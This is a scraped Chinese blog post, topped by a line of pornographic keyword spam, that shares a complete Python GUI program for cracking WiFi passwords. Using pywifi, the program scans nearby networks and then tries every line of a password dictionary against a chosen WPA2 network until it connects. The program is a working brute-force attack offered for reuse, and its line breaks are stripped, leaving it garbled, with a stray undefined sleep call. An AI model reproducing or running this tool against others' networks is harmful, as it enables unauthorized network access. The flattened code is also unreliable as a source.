日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

Python WIFI密码破解程序

發布時間:2024/3/12 python 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python WIFI密码破解程序 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
from tkinter import * from tkinter import ttk import pywifi from pywifi import const import time import tkinter.filedialog # 在Gui中打開文件瀏覽 import tkinter.messagebox # 打開tkiner的消息提醒框class MY_GUI():def __init__(self,init_window_name):self.init_window_name = init_window_name#密碼文件路徑self.get_value = StringVar() # 設置可變內容#獲取破解wifi賬號self.get_wifi_value = StringVar()#獲取wifi密碼self.get_wifimm_value = StringVar()self.wifi = pywifi.PyWiFi() #抓取網卡接口self.iface = self.wifi.interfaces()[0] #抓取第一個無線網卡self.iface.disconnect() #測試鏈接斷開所有鏈接time.sleep(1) #休眠1秒#測試網卡是否屬于斷開狀態assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def __str__(self):# 自動會調用的函數,返回自身的網卡return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())#設置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200,text="配置") # 框架,以下對象都是對于labelframe中添加的labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)self.pojie = Button(labelframe,text="開始破解",command=self.readPassWord).grid(column=1,row=0)self.label = Label(labelframe,text="目錄路徑:").grid(column=0,row=1)self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)self.file = Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1)self.wifi_text = Label(labelframe,text="WiFi賬號:").grid(column=0,row=2)self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)self.wifi_mm_text = Label(labelframe,text="WiFi密碼:").grid(column=2,row=2)self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)# 定義樹形結構與滾動條self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的標題self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4,column=0,sticky=NSEW)self.wifi_tree.bind("<Double-1>",self.onDBClick)self.vbar.grid(row=4,column=1,sticky=NS)#搜索wifi#cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXITdef scans_wifi_list(self): # 掃描周圍wifi列表#開始掃描self.iface.scan()time.sleep(15)#在若干秒后獲取掃描結果scanres = self.iface.scan_results()#統計附近被發現的熱點數量nums = len(scanres)#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據self.show_scans_wifi_list(scanres)return scanres#顯示wifi列表def show_scans_wifi_list(self,scans_res):for index,wifi_info in enumerate(scans_res):# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#添加密碼文件目錄def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)#Treeview綁定事件def onDBClick(self,event):self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])#讀取密碼字典,進行匹配def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正確=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')breakelse:self.res = "---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr)sleep(3)except:continue#對wifi和密碼進行匹配def connect(self,pwd_Str,wifi_ssid):#創建wifi鏈接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles() #刪除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設定新的鏈接文件self.iface.connect(self.tmp_profile)#鏈接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判斷是否連接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #斷開time.sleep(1)#檢查斷開狀態assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOKdef gui_start():init_window = Tk()ui = MY_GUI(init_window)ui.set_init_window()#ui.scans_wifi_list()init_window.mainloop()gui_start()

總結

以上是生活随笔為你收集整理的Python WIFI密码破解程序的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。